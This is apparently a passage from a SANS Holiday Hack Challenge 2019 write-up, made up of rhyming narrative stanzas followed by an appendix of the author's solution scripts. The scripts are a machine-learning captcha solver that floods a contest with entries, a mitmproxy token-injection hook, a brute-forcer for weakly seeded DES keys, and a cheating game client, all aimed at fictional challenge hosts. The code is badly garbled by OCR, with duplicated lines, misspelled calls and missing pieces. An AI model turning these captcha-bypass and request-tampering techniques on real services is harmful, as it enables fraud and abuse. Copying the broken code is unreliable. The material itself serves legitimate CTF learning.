Some other folk might stop and sneer "Two turtle doves, this man did rear?" I'll find the birds, come push or shove Objectives given: I'll soon clear

Unlocked: The Quad - speaking to Santa (umbrella) for the first time

Narrative 3 of 10

Upon discov'ring each white dove, The subject of much campus love, I find the challenges are more Than one can count on woolen glove.

Unlocked:

Student Union - interacting with the two Turtle Doves for the first time

Narrative 4 of 10

Who wandered thus through closet door? Ho ho, what's this? What strange boudoir! Things here cannot be what they seem That portal's more than clothing store.

Unlocked: Entering Minty's Dorm Room/Scampering Krampus for the first time

Narrative 5 of 10

Who enters contests by the ream And lives in tunnels meant for steam? This Krampus bloke seems rather strange And yet I must now join his team...

Unlocked:

Talking to Krampus in the Steam Tunnels for the first time

Narrative 6 of 10

Despite this fellow's funk and mange My fate, I think, he's bound to change. What is this contest all about? His victory I shall arrange!

Unlocked:

Talking to Krampus in the Steam Tunnels after solving Objective 8 Frido Sleigh

Narrative 7 of 10

To arms, my friends! Do scream and shout! Some villain targets Santa's route! What scum - what filth would seek to end Kris Kringle's journey while he's out?

Unlocked:

Talking to Krampus in the Steam Tunnels after solving Objective 10 Recover Cleartext Document

Narrative 8 of 10

Surprised, I am, but "shock" may tend To overstate and condescend. 'Tis little more than plot reveal That fairies often do extend

Unlocked:

Talking to The Tooth Fairy in the Sleigh Shop

Narrative 9 of 10

And yet, despite her jealous zeal, My skills did win, my hacking heal! No dental dealer can so keep Our red-clad hero in ordeal!

Unlocked:

Reaching the Bell Tower and talking to Santa

Narrative 10 of 10

This Christmas must now fall asleep, But next year comes, and troubles creep. And Jack Frost hasn't made a peep, And Jack Frost hasn't made a peep.

Unlocked: Reaching the Bell Tower and talking to Santa

Appendix

L

Code can also be found here after January 13,2020: https://github.com/deckerXL/SANSHolidayHackChallenge2019

Code - Objective 8 - capteha_api.py

```
#!/usr/bin/env python3
# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld / Modified by deckerXL
import requests
import json
import sys
import base64
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)
import numpy as np
from threading import Thread, enumerate
from datetime import datetime
import queue
import time
# Optimizations
NUM PARALLEL EXEC UNITS = 6
config = tf.compat.v1.ConfigProto(intra_op_parallelism_threads=NUM_PARALLEL_EXEC_UNITS, inter_op_parallelism_threads=16, allow_soft_placement=True, device count = {'GPU': 1})
def load_graph(model_file):
    graph = tf.Graph()
     graph_def = tf.compat.vl.GraphDef()
with open(model_file, "rb") as f:
    graph_def.ParseFromString(f.read())
     with graph.as default():
           tf.import_graph_def(graph_def)
     return graph
def load_labels(label_file):
      label = []
     return label
def predict_image(q, sess, graph, image_bytes, img_uuid, labels, input_operation, output_operation, img_types):
     input height = 299
input width = 299
     input_width
                      = 0
      input mean
     input_std
                        = 255
     image_reader = tf.image.decode_png( image_bytes, channels=3, name="png_reader")
float_caster = tf.cast(image_reader, tf.float32)
dims_expander = tf.expand_dims(float_caster, 0)
                       = tf.compat.vl.image.resize bilinear(dims_expander, [input height, input_width])
= tf.divide(tf.subtract(resized, [input_mean]), [input_std])
     resized
     normalized
                        = tf.compat.vl.Session(config=config)
= sess_image.run(normalized)
      sess_image
      image
     results
                        = sess.run(output_operation.outputs[0], { input_operation.outputs[0]: image })
                      = sess.run(output_operation.output
= np.squeeze(results)
= results.argsort()[-5:][::-1][0]
     results
     prediction
       str_pred = str(labels[prediction].title())
     str_pred = str(labers(prediction:.trre())
if str_pred in img types:
    print ("\t+++++++++++ Queue put:"+img_uuid+"-- Prediction:"+str(labels[prediction].title())+"-- Precent:"+str(results[prediction]))
          q.put(img_uuid)
def main():
      # Loop until we get the captcha in under 10 seconds
     success = False
      attempts = 1
     while not success and attempts<=25:
          print ("***********************
          print ("***** Starting ****")
print ("**********************")
           tf.compat.v1.disable_eager_execution()
           final answer =
          # Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
graph = load_graph('C:\\working\\retrain_tmp\\output_graph.pb')
labels = load_labels('C:\\working\\retrain_tmp\\output_labels.txt')
            Load up our session
          input_operation = graph.get_operation_by_name("import/Placeholder")
output_operation = graph.get_operation_by_name("import/final_result")
sess = tf.compat.vl.Session(graph=graph,config=config)
           # Creating a session to handle cookies
          s = requests.Session()
url = "https://fridosleigh.com/"
          print ("Sending Request to: ["+url+"]...")
           json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text)
          b64_images = json_resp['images'] # A list of dictionaries eaching containing the keys 'base64' and 'uuid'
           challenge_image_type = json_resp['select_type'].split(',') # The Image types the CAPTEHA Challenge is looking for
```

```
= challenge_image_type[0].strip()
          case1
          case2 = challenge_image_type[1].strip()
case3 = challenge_image_type[2].replace(' and ','').strip()
challenge_image_types = [case1, case2, case3] # cleaning and formatting
          print ("Determined the following challenge image types: ["+str(challenge_image_types)+"]...\n")
          threads = []
          q = queue.Queue()
          # Start timestamp
          dateTimeObj1 = datetime.now()
          print("Starting tensorflow analysis at timestamp: ["+str(dateTimeObj1)+"]")
          for i in range(len(b64_images)):
               for j in b64 images[i]
    if j == "base64":
                         img_uuid = b64_images[i]['uuid']
                         #predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
                         image bytes = base64.b64decode(b64_images[i][j])
t = Thread(target=predict_image, args=(q, sess, graph, image_bytes, img_uuid, labels, input_operation, output_operation,
challenge_image_types),daemon=True)
                         threads.append(t)
          for t in threads:
               t.start()
          for t in threads:
               t.join()
          # Getting a list of all threads returned results
          dateTimeObj2 = datetime.now()
          print("Completed tensorflow analysis in: ["+str(dateTimeObj2-dateTimeObj1)+"] time\n")
          # Create the final comma delimited list of image uuids to send to the server
final_answer = ','.join( list(g.queue) )
          # This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
json_resp = json.loads(s.post("{}api/capteha/submit".format(url), data={'answer':final_answer}).text)
          success = True
          if not json resp['request']:
    # If it fails just run again. ML might get one wrong occasionally
    print('FAILED MACHINE LEARNING GUESS')
               print('-----\nOur ML Guess:\n--
                                                                              -----\n{}'.format(final_answer)
               print('-----\n{}'.format(json_resp['data']))
               success = False
               attempts = attempts + 1
               # Clear variables for next loop iteration
del final_answer, q, threads, b64_images
               ===\n")
          # End While Loop
     print("CAPTEHA Solved on attempt ["+str(attempts)+"]!")
     # Submit for Drawing
     # If we get to here, we are successful and can submit a bunch of entries till we win
     userinfo = {
    'name':'Krampus Hollyfeld',
    'email':yourREALemailAddress,
          'age':180,
'about':"Cause they're so flippin yummy!",
          'favorites':'thickmints'
     # If we win the once-per minute drawing, it will tell us we were emailed.
# Should be no more than 200 times before we win. If more, somethings wrong.
     entry_response = ''
     entry_count = 1
while yourREALemailAddress not in entry_response and entry_count < 200:
    print('Submitting lots of entries until we win the contest! Entry #()'.format(entry_count))</pre>
          entry_response = s.post("{}api/entry".format(url), data=userinfo).text
          entry_count += 1
     print(entry_response)
    ______ main____:
if
```

Code - Objective 9 - validator-test.py

import re

h

Code - Objective 9 - mitmcustom.py

import re
import urllib.parse import requests import typing

from mitmproxy import http

set of SSL/TLS capable hosts secure_hosts: typing.Set[str] = set()

def request(flow: http.HTTPFlow) -> None: response=requests.get('https://studentportal.elfu.org/validator.php')
response bytes = response.text.encode()

flow.request.content = flow.request.content.replace(b'token=REPLACE', b'token='+response_bytes

Code - Objective 10 - get epoch time.py

from datetime import datetime from calendar import timegm import argparse

parser = argparse.ArgumentParser() parser = argparse.Argumentrarser()
parser.add_argument("--year", help="4 digit Year {2019}", required=True)
parser.add_argument("--month", help="2 digit Year {12}", required=True)
parser.add_argument("--day", help="2 digit Day {25}", required=True)
parser.add_argument("--hour", help="2 digit hour in military time {19}", required=True)
parser.add_argument("--seconds", help="2 digit minutes in military time {00}", required=True)
parser.add_argument("--seconds", help="2 digit minutes in military time {00}", required=True)
parser.add_argument("--seconds", help="2 digit minutes in military time {00}", required=True)
parser.add_argument("--seconds", help="2 digit minutes in military time {00}", required=True) args = parser.parse_args()

Note: if you pass in a naive dttm object it's assumed to already be in UTC

def unix_time(dttm=None):

if dttm is None: dttm = datetime.utcnow()

return timegm(dttm.utctimetuple())

print ("Unix Epoch UTC timestamp for "+str(args.month)+"/"+str(args.day)+"/"+str(args.year)+" '+str(args.hour)+":"+str(args.minutes)+":"+str(args.seconds)+\ = "+str(unix_time(datetime(int(args.year), int(args.month), int(args.day), int(args.hour), int(args.minutes), int(args.seconds)))))

Code - Objective 10 - elfscrow_crack.py

Program: elfscrow_crack.py

Description: Python implementation to bruteforce weak DES keys in HHC Objective 10

Date: 12/2019

Author: deckerXL

Examples:

python3 ./elfscrow_crack.py --epoch_start=1575658800 --epoch_end=1575666000 --encrypted_file=./ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc --plaintext_file=./ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf --mathematicQuickStartGuideV1.2.pdf --mathematicQuideV1.2.pdf --mathematicQuideV1.2.pdf --mathematicQuideV1.2.pdf --mathematicQuideV1.2.pdf --mathematicQuideV1.2.pdf --mathematicQuideV1.2.pdf python3 --magicbyte_sentinel=PDF

import sys
from Crypto.Cipher import DES from Crypto.Cipher import PKCS1_OAEP import time import binascii import argparse

parser = argparse.ArgumentParser()

parser = argparse.ArgumentParser()
parser.add_argument("--epoch_end", help="Start time in Unix epoch time {}", required=True)
parser.add_argument("--epoch_end", help="End time in Unix epoch time {12}", required=True)
parser.add_argument("--encrypted_file", help="Encrypted file {encrypted.enc'", required=True)
parser.add_argument("--plaintext_file", help="Plaintext filename to output {plaintext.ext}", required=True)
parser.add_argument("--magicbyte_sentinel", help="String to look for (PDF)", required=True)
parser.add_argument("--debug", action="store_true", help="Enable debugging output") args = parser.parse_args()

def gen_key(seed):

<pre>val1 = "000343fd" # Multiply value (214013 int) taken from dissembled code - (01351DC8 IMUL EAX,EAX,343FD) val2 = "00269ec3" # Add value (2531011 int) taken from dissembled code - (01351DCE ADD EAX,269EC3) val3 = "0000010" # Shift right value (16 int) taken from dissembled code - (01351DDD SAR EAX,10)</pre>
<pre>val4 = "00007fff" # AND value (0111 1111 1111 1111 binary) taken from dissembled code - (01351DE0 AND EAX,7FFF) val5 = "000000ff" # Keep the low order byte - build key byte by byte with these - (01351E3F AND ECX,0FF)</pre>
if args.debug:
<pre>print("Val1 Hex:"+str(format(int(val1,16),'#010x'))+" = Int:"+str(int(val1,16)))</pre>
<pre>print("Val2 Hex:"+str(format(int(val2,16), '#010x'))+" = Int:"+str(int(val2,16)))</pre>
<pre>print("Val3 Hex:"+str(format(int(val3,16),'#010x'))+" = Int:"+str(int(val3,16)))</pre>
<pre>print("Val4 Hex:"+str(format(int(val4,16), '#010x'))+" = Int:"+str(int(val4,16)))</pre>
if args.debug:
<pre>print("Seed: "+str(seed))</pre>
The initial value for state is the seed

key = ""

Þ.

```
for i in range(0,8):
                       # Step 1 - Multiply val1 with the current state value
                       step1 = state * int(val1,16)
                       if args.debug:
                                  print("Step1 state*val1: "+str(format(int(str(step1),16),'#010x')))
                       # Step 2 - Add val2 to the current state value
                       step2 = step1 + int(val2,16)
                       if args.debug:
                                  print("Step2 step1+val2: "+str(format(int(str(step2),16),'#010x')))
                       \# Save State - this now becomes the saved state value for the next iteration of the loop
                       state = step2
                       if args.debug:
                                  print("Save State:
                                                               "+str(format(int(str(state),16),'#010x')))
                       # Step 3 - Do a bitwise shift right 16 bits
step3 = step2>>16
                       if args.debug:
                                  print("Step3 step2>>16: "+str(format(int(str(step3),16),'#010x')))
                       # Step 4 - Do a bitwise AND with val4
step4 = step3 & int(val4,16)
                       if args.debug:
                                  print("Step4 step3&val4: "+str(format(int(str(step4),16),'#010x')))
                       # Step 5 - Do a bitwise AND with val5 - this will retain the least significant/low-order byte
lsb = hex(int(step4) & int(val5,16))
                       if args.debug:
                                  print ("Key: "+str(format(int(step4), '#010x'))+" -- Least Significant Byte: "+str(lsb))
                      # Concatenate this least significant byte to become part of the key
key = key + str(format(int(lsb,16),'02x'))
                       step1 = step2 = step3 = step4 = lsb = 0
           if args.debug:
                      print ("Key: "+key)
           return key
# Main
start_seed = int(args.epoch_start)
end_seed = int(args.epoch_end)
infile = args.encrypted_file
outfile = args.plaintext_file
ciphertext = open(infile, "rb").read()
cipher_len = len(ciphertext)
if cipher_len % 8 != 0:
           #iv = str(bytearray(8))
iv = bytearray(8)
plaintext = ""
found = False
for s in range(start seed,end seed+1):
           key_hex = gen_key(s)
           if args.debug:
                      print ("Seed: "+str(s)+" -- Key: "+str(key_hex))
           key = binascii.unhexlify(key_hex)
cipher = DES.new(key, DES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
plaintext_header = plaintext[0:8]
           print ("Seed:"+str(s)+" -- Key: "+str(key_hex)+" -- Bytes: ["+str(plaintext_header)+"]")
           filetype = plaintext_header.find(args.magicbyte_sentinel.encode())
           if filetype > 0:
                      print ("\nFOUND IT! - Seed:"+str(s)+" -- Key: "+str(key_hex)+" -- Bytes: ["+str(plaintext_header)+"]\n")
                       found = True
                       break
if found:
           print ("Writing plaintext output ["+args.plaintext_file+"]")
             = open(outfile, "wb")
           f.write (plaintext)
           f.close()
           print ("ERROR: Did not find a key that decrypted ciphertext to magic bytes.")
           sys.exit(1)
sys.exit(0)
```

else:

Code - Achievement - Holiday Hack Trail - hht.py Program: hht.py Description: Python client to play the SANS Holiday Hack Trail online game. Incorporates cheat codes! Date: 12/2019 Author: deckerXL Examples: python3 hht.py --playerid=JebediahSpringfield --difficulty=hard --pace=2 --extrareindeer=1 --extrafood=5 --extrameds=2 --extraammo=5 --proxy --proxy host=127.0.0.1 --proxy port=8080 -extrarunners=1 python3 hht.py --playerid=JebediahSpringfield --difficulty=hard --pace=2 --extrareindeer=0 --extrarunners=0 extrafood=0 --extrameds=0 --extraammo=25 --invulnerability --proxy --proxy_host=127.0.0.1 --proxy_port=8080 python3 hht.py --playerid=JebediahSpringfield --difficulty=easy --pace=2 --extrareindeer=0 --extrarunn --extrafood=10 --extrameds=10 --extraammo=20 --allmax --proxy --proxy_host=127.0.0.1 --proxy_port=8080 -extrareindeer=0 --extrarunners=0 Don't forget to check out all the CHEAT CODE options below! import sys import re import random import statistics import argparse import requests requests.packages.urllib3.disable_warnings() parser = argparse.ArgumentParser() parser.add_argument("--playerid", help="Set PlayerId to send to the server", required=True) parser.add_argument("--difficulty", help="Set difficulty level (easy, medium, hard)", required=True) parser.add_argument("--pace", help="Set pace level (0, 1, 2)", required=True) parser.add_argument("--pace", help="Set pace level {0, 1, 2}", required=True) parser.add_argument("--extrareindeer", help="Number of extra reindeer to buy (0-9)", required=True) parser.add_argument("--extrareindeer", help="Number of extra food to buy {0-1000}", required=True) parser.add_argument("--extrament", help="Amount of extra atom to buy {0-1000}", required=True) parser.add_argument("--extrament", help="Amount of extra atom to buy {0-1000}", required=True) parser.add_argument("--extrament", help="Amount of extra atom to buy {0-1000}", required=True) parser.add_argument("--extrament", help="Amount of extra atom to buy {0-1000}", required=True) parser.add_argument("--extrament", help="Set proxy host to buy {0-1000", required=True) parser.add_argument("--proxy", help="Set proxy host - set in conjunction with --proxy") parser.add_argument("--extrament", help="Set proxy host - set in conjunction with --proxy") parser.add_argument("--invulnerability", action="store_true", help="!!!CHEAT CODES!!! - Activate Invulnerability") parser.add_argument("--invulnerability", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Ammo - only works in easy or medium mode") parser.add_argument("--maxmeds", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Meds - only works in easy or medium mode") parser.add_argument("--maxmeds", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Meds - only works in easy or medium mode") parser.add_argument("--maxmeds", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Meds - only works in easy or medium mode") parser.add_argument("--maxmeds", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Meds - only works in easy or medium mode") parser.add_argument("--maxmeds", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Meds - only works in easy or medium mode") parser.add_argument("--maxmeds", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Meds - only works in easy or medium mode") parser.add_argument("--maxroad, action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Road - Only works in easy or medium mode") parser.add_argument("--maxrunners", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Runners - only works in easy or medium mode") parser.add_argument("--maxrunners", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Runners - only works in easy or medium mode") parser.add_argument("--maxrunners", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited Money - only works in easy or medium mode") parser.add_argument("--maxall", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited ALL - only works in easy or medium mode") parser.add_argument("--maxall", action="store_true", help="!!!CHEAT CODES!!! - Activate Unlimited ALL - only works in easy or medium mode") args = parser.parse_args() = "https://trail.elfu.org" hhc host hhc_gameselect_url = "https://trail.elfu.org/gameselect/" = "https://trail.elfu.org/store/" = "https://trail.elfu.org/trail/" hhc_store_url hhc_trail_url max distance 8000 'ferry', 'ford', 'caulk'] river min_ferry_threshold = 150 = ['Steady', 'Strenuous', 'Grueling'] = ['Easy', 'Medium', 'Hard'] pace names difficulty_level proxy_host = "127.0.0.1" proxy_port = "8080" if len(args.proxy_host) > 0: proxy_host = str(args.proxy_host)[0:15] if len(args.proxy_port) > 0: proxy_port = str(args.proxy_port)[0:5] playerid_arg = str(args.playerid[0:25]) difficulty_arg = re.sub("\W","",str(args.difficulty)[0:6].lower()).capitalize() pace_arg = int(re.sub("\D","",str(args.pace))) extrareindeer_arg = int(re.sub("\D","",str(args.extrareindeer))) extraruners_arg = int(re.sub("\D","",str(args.extrareindeer))) extrafood_arg = int(re.sub("\D","",str(args.extrafood))) extrameds_arg = int(re.sub("\D","",str(args.extrafood))) extrameds_arg = int(re.sub("\D","",str(args.extrafood))) = int(re.sub("\D", "", str(args.extraammo) extraammo arg player id = playerid arg userser_name = playerid_arg

sys.exit(1)

print ("\n*** ERROR: ["+str(pace_arg)+"] is not a valid pace setting - must be number between 0-2\n")
sys.exit(1)

print ("\n*** ERROR: ["+str(extrareindeer_arg)+"] is not a valid extrareindeer setting - must be number between $0-9\n"$) sys.exit(1)

print ("\n*** ERROR: ["+str(extrarunners_arg)+"] is not a valid extrarunners setting - must be number between 0-9\n")

if extrarunners_arg>=0 and extrarunners_arg<=9: runnergty = str(extrarunners_arg)

else:

else:

if extrafood arg>=0 and extrafood arg<=1000:

1	foodqty = str(extrafood_arg)	9
	else: print ("\n*** ERROR: ["+str(extrafood_arg)+"] is not a valid extrafood setting - must be number between 0-1000\n") sys.exit(1)	
	<pre>if extrameds_arg>=0 and extrameds_arg<=100: medsqty = str(extrameds_arg)</pre>	
	else: print ("\n*** ERROR: ["+str(extrameds_arg)+"] is not a valid extrameds setting - must be number between 0-100\n") sys.exit(1)	
	if extraammo_arg>=0 and extraammo_arg<=100: ammoqty = str(extraammo_arg)	
	else: print ("\n*** ERROR: ["+str(extraammo_arg)+"] is not a valid extraammo setting - must be number between 0-100\n") sys.exit(1)	
	<pre>if difficulty_arg == "Hard" and args.lightspeed: print ("\n*** ERROR: You cannot use lightspeed cheat code with 'hard' difficulty\n") parser.print_help() sys.exit(1)</pre>	
	<pre>if difficulty_arg == "Hard" and args.maxall: print ("\n*** ERROR: You cannot use maxall cheat code with 'hard' difficulty\n") parser.print_help() sys.exit(1)</pre>	
	if args.maxall: args.maxammo = args.maxfood = args.maxmeds = args.maxmoney = args.maxreindeer = args.maxrunners = True	
	<pre>if difficulty_arg == "Hard" and args.maxammo: print ("\n*** ERROR: You cannot use maxammo cheat code with 'hard' difficulty\n") parser.print_help() sys.exit(1)</pre>	
	<pre>if difficulty_arg == "Hard" and args.maxmeds: print ("\n*** ERROR: You cannot use maxmeds cheat code with 'hard' difficulty\n") parser.print_help() sys.exit(1)</pre>	
	<pre>if difficulty_arg == "Hard" and args.maxfood: print ("\n*** ERROR: You cannot use maxfood cheat code with 'hard' difficulty\n") parser.print_help() sys.exit(1)</pre>	
	<pre>if difficulty_arg == "Hard" and args.maxreindeer: print ("\n*** ERROR: You cannot use maxreindeer cheat code with 'hard' difficulty\n") parser.print_help() sys.exit(1)</pre>	
	<pre>if difficulty_arg == "Hard" and args.maxrunners: print ("\n*** ERROR: You cannot use maxrunners cheat code with 'hard' difficulty\n") parser.print_help() sys.exit(1)</pre>	
	<pre>if difficulty_arg == "Hard" and args.maxmoney: print ("\n*** ERROR: You cannot use maxmoney cheat code with 'hard' difficulty\n") parser.print_help() sys.exit(1)</pre>	
	<pre># Proxy support - great for Burp!</pre>	
	if args.proxy: proxies = {	
	"http": "http://"+proxy_host+":"+proxy_port, "https": "http://"+proxy_host+":"+proxy_port	
	else: proxies = {}	
	# Explicitly set all our headers for each page	
	<pre>"gameselect headers = { 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',</pre>	
	'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Upograde-Insecure-Requests': 'l'	
	<pre>Stole Headers - 1 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate',</pre>	
	<pre>'Content-Type': 'application/x-www-form-urlencoded', 'Origin': hhc_host, 'Referer': hhc_gameselect_url, 'Upgrade-Insecure-Requests': '1' }</pre>	
	<pre>trail_headers = { 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Jaccept': Larguage La</pre>	
	<pre>Accept Language : 'gzip, deflate', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': hhc_host, 'Referer': hhc_store url,</pre>	
	'Upgrade-Insecure-Requests': '1'	
1		

· +	
<pre># Setup defaults which are dependent on difficultly level # ====================================</pre>	
if difficulty arg == "Easy":	
difficulty = "0" money = "5000"	
distance = "0"	
curmonth = "/"	
reindeer = "2"	
runners = "2" ammo = "100"	
meds = "20"	
food = "400"	
difficulty = "1"	
money = "3000" dictance = "0"	
curmonth = "8"	
curday = "1"	
runners = "2"	
ammo = "50"	
food = "200"	
<pre>elif difficulty_arg == "Hard":</pre>	
difficulty = "2" money = "1500"	
distance = "0"	
curmonth = "9" curday = "1"	
reindeer = "2"	
runners = "2" ammo = "10"	
meds = "2"	
food = "100"	
print ("\n*** ERROR: ["+difficulty_arg+"] is not a valid diffic	ulty setting\n")
<pre>parser.print_help() sup ovit(1)</pre>	
System (1)	
# setup other defaults - same for all difficulty levels	
#	
reindeerprice = "500"	
foodprice = "5"	
medsprice = "50"	
submit = "Buy"	
action = "go"	
health0 = "100"	
cond0 = "0"	
cause0 = "" deathdav0 = "0"	
deathmonth0 = "0"	
hamel = "Mildred" health1 = "100"	
cond1 = "0"	
causel = "" deathday1 = "0"	
deathmonth1 = "0"	
name2 = "Mathias" health2 = "100"	
cond2 = "0"	DALL DALL
cause2 = "" deathdav2 = "0"	LADTH TUPP
deathmonth2 = "0"	
name3 = "John" health3 = "100"	
cond3 = "0"	
cause3 = "" deathday3 = "0"	
deathmonth3 = "0"	
nasn = "HASH"	
#	
# Finances Check # ====================================	
<pre>reindeercost = str(int(reindeerqty) * int(reindeerprice))</pre>	
<pre>if int(reindeercost) <= int(money): money = str(int(money) - (int(reindeergty) * int(reindeergrice))</pre>	
else:	
<pre>print ("\n*** EKROR: ["+str(reindeerqty)+"] extra reindeer at p ["+str(money)+"] money remaining\n")</pre>	rice ["+str(reindeerprice)+"] is ["+str(reindeercost)+"] which exceeds
sys.exit(1)	
runnercost = str(int(runnergty) * int(runnerprice))	
if int(runnercost) <= int(money):	
<pre>money = str(int(money) - (int(runnerqty) * int(runnerprice))) else.</pre>	
print ("\n*** ERROR: ["+str(runnerqty)+"] extra runners at price	e ["+str(runnerprice)+"] is ["+str(runnercost)+"] wh <mark>ich exc</mark> eeds
["+str(money)+"] money remaining\n")	
<pre>foodcost = str(int(foodqty) * int(foodprice)) if int(foodcost) <= int(monov);</pre>	
<pre>money = str(int(money) - (int(foodqty) * int(foodprice)))</pre>	
else:	str/foodnrice)+"] is ["+str(foodcost)+"] which avecade ["Laty/mappy)/"]
money remaining/n")	Serviceaprice, '] is ['servicedese, '] which exceeds [Tstr(money)+"]
sys.exit(1)	
<pre>medscost = str(int(medsqty) * int(medsprice))</pre>	

```
if int(medscost) <= int(money):</pre>
                money = str(int(money) - (int(medsqty) * int(medsprice)))
else:
                print ("\n*** ERROR: ["+str(medsqty)+"] extra meds at price ["+str(medsprice)+"] is ["+str(medscost)+"] which exceeds ["+str(money)+"]
money remaining\n")
                sys.exit(1)
ammocost = str(int(ammoqty) * int(ammoprice))
if int(ammocost) <= int(money):
                money = str(int(money) - (int(ammoqty) * int(ammoprice)))
else:
                print ("\n*** ERROR: ["+str(ammoqty)+"] extra ammo at price ["+str(ammoprice)+"] is ["+str(ammocost)+"] which exceeds ["+str(money)+"]
money remaining\n")
                sys.exit(1)
  httpGet
def httpGet (url,p,h):
                 try:
                                r = requests.get(url,
                                                                   proxies=proxies,
                                                                  headers=h,
                                                                  params=p,
                                                                   verify=False
                sys.exit(1)
                return r
# httpPost
def httpPost (url,cookie,d,h):
                try:
                                 r = requests.post(url,
                                                                  proxies=proxies,
                                                                   headers=h,
                                                                   cookies=cookie,
                                                                   data=d,
                                                                  verify=False
                except Exception as e:
    print ("ERROR: HTTP Error Occurred: ["+str(e)+"]")
                                 sys.exit(1)
                return r
  Extract Party Progress from HTTP Response
def get party progress(t):
                # Start with progress object. No good end sentinel, so jumping 400 characters
start sentinel = ''
end sentinel = ''
                i1 = t.find(start_sentinel)+len(start_sentinel)
                 i2 = i1 + 400
                status_section = t[i1:i2]
               status_section = status_section.replace('<b>', "")
status_section = status_section.replace('</b>', "|")
status_section = status_section.replace('', "")
status_section = status_section.replace('<coption>', "")
status_section = status_section.replace('<select>', "")
status_section = status_section.replace('<select>', "")
                 status_section = re.sub(r'\s+', ' ', status_section)
                status_section = re.sub(r'\\s+','|',status_section)
status_section = re.sub(r'\\s+','|',status_section)
status_section = re.sub(r'\+','|',status_section)
                status_section = re.sub('<select name="pace" class="pace">','', status_section)
status_section = re.sub(' <!-- <table id="displayWindow" class="noborder">','', status_section)
status_section = re.sub('<option value="0">status_section)
status_section = re.sub('<option value="1">status_section)
                status_section = status_section.strip()
status_section = re.sub(r'\\+','', status_section)
status_section = re.sub(r'\\+$','', status_section)
                if args.debug:
                                print ("Status Section: ["+status_section+"]")
                 return status_section
  Extract Status Container from HTTP Response
def get_status_container(t):
                 # Get statusContainer object
                start_sentinel = '<div id="statusContainer">'
end_sentinel = '<footer id="footer"></footer>'</footer>'</footer</pre>
                end sentinel
                i1 = t.find(start sentinel)+len(start sentinel)
                 i2 = t.find(end_sentinel)
                status container = t[i1:i2]
```

h

```
status_container =
                                             status container.replace('<div>','
               status_container = status_container.replace('</iv>',")
status_container = status_container.replace('</orm>',"")
                                             status_container.replace('</form>',"|")
                status container
                status_container = status_container.replace('<br>',"")
               status container = status container.replace('</br>', "|")
               status_container = status_container.replace(' <input type="hidden" name="','')
status_container = re.sub('" class=".*" value="','|',status_container)
status_container = re.sub('">','|',status_container)
                status_container = status_container.replace("\n","")
               status_container = status_container.strip()
status_container = re.sub(r'^\|+','',status_container)
               status_container = re.sub(r'\|+$', '', status_container)
                # Fix rare bug where server decremented reindeer value to negative number - reset negative to 0
               status_container = re.sub(r'reindeer\|-\d+\|','reindeer|0|',status_container)
status_container = re.sub(r'runners\|-\d+\|','runners|0|',status_container)
               if args.debug:
                              print ("Status Container: ["+status_container+"]")
               return status container
  Extract Status Messages from HTTP Response
def get_status_messages(t):
                # Start with inventory table object
                start_sentinel = '</footer>'</footer>'
               end sentinel
               i1 = t.find(start_sentinel)+len(start_sentinel)
i2 = t.find(end_sentinel)
status_messages = t[i1:i2]
               status_messages = status_messages[i1:]
               status_messages = status_messages.replace('<b>',"")
status_messages = status_messages.replace('</b>',"|")
               status_messages = status_messages.replace('</b>',")
status_messages = status_messages.replace('</b>',"")
status_messages = status_messages.replace('</br',"")
status_messages = status_messages.replace('</br',"")
status_messages = status_messages.replace('</br',"")
status_messages = status_messages.replace('</br/>iv',"")
status_messages = status_messages.replace('</br/>iv',"")
                status_messages = status_messages.replace('(The overall distance remaining is shown in the top-left.)',' ')
               if args.invulnerability:
                               status_messages = status_messages.replace('You have no food. Your party is starving.',' ')
               status_messages = re.sub(r'\s+',' ',status_messages)
status_messages = re.sub(r'\\s+','|',status_messages)
status_messages = re.sub(r'\s+\','|',status_messages)
status_messages = re.sub(r'\+','|',status_messages)
               status_messages = status_messages.strip()
status_messages = re.sub[r'^\|+','',status_messages)
status_messages = re.sub(r'\|+$','',status_messages)
                if args.debug:
                              print ("Status Messages: ["+status_messages+"]")
               return status_messages
# Extract Trade Offer Details from HTTP Response
def get_trade_offer(t):
               # Start with inventory table object
start_sentinel = 'If you accept the trade, click Trade. Anything else will cancel.'
end sentinel = ''
               i1 = t.find(start_sentinel)+len(start_sentinel)
i2 = i1+300
               trade_offer = t[i1:i2]
               trade_offer = re.sub(r'\s+', ' ',trade_offer)
trade_offer = trade_offer.replace('<br>',"")
